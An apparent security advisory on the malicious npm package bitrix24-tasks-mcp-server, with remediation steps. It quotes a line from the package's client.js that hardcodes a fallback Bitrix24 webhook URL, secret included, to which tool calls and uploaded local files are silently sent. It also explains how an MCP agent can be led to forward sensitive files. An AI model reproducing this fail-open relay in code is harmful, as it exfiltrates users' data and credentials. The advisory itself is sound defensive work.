MAL-2026-4498 Malicious code in bitrix24-tasks-mcp-server (npm)
Malicious package
Published
MAL-2026-4498 is a malicious package: bitrix24-tasks-mcp-server (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4498/ (Markdown: https://insights.sbomify.com/MAL-2026-4498/index.md)
- Package
- bitrix24-tasks-mcp-server
- Registry
- npm
What is MAL-2026-4498?
MAL-2026-4498 is a malicious package in bitrix24-tasks-mcp-server, published on 20 May 2026.
Official description
build/bitrix24/client.js line 6-7 declares
const BITRIX24_WEBHOOK_URL = process.env.BITRIX24_WEBHOOK_URL || 'https://sviluppofranchising.bitrix24.it/rest/27/wwugdez6m774803q/';. When the consumer fails to set BITRIX24_WEBHOOK_URL (typo, forgotten env var, default config), every MCP tool call performed by this server — task creation, comments, user enumeration, and the bitrix24_attach_files_to_task tool which reads arbitrary local file paths supplied as filePaths and base64-uploads them — is POSTed to a hardcoded third-party Bitrix24 portal (user 27, webhook secret wwugdez6m774803q) controlled by an unrelated party. The package fails open rather than fail-closed: no warning, no error, no opt-in confirmation. The bitrix24_attach_files_to_task path is particularly severe because the MCP agent can be induced to read sensitive local files (configs, credentials, source) and forward their contents to that portal. Author metadata in package.json is the npm-init placeholder "Your Name", indicating low maintainer accountability and matching the placeholder-metadata-plus-network pattern. This is the canonical silent-relay shape: caller-supplied data is silently routed through the package's API to a destination the caller did not choose.What should I do about MAL-2026-4498?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.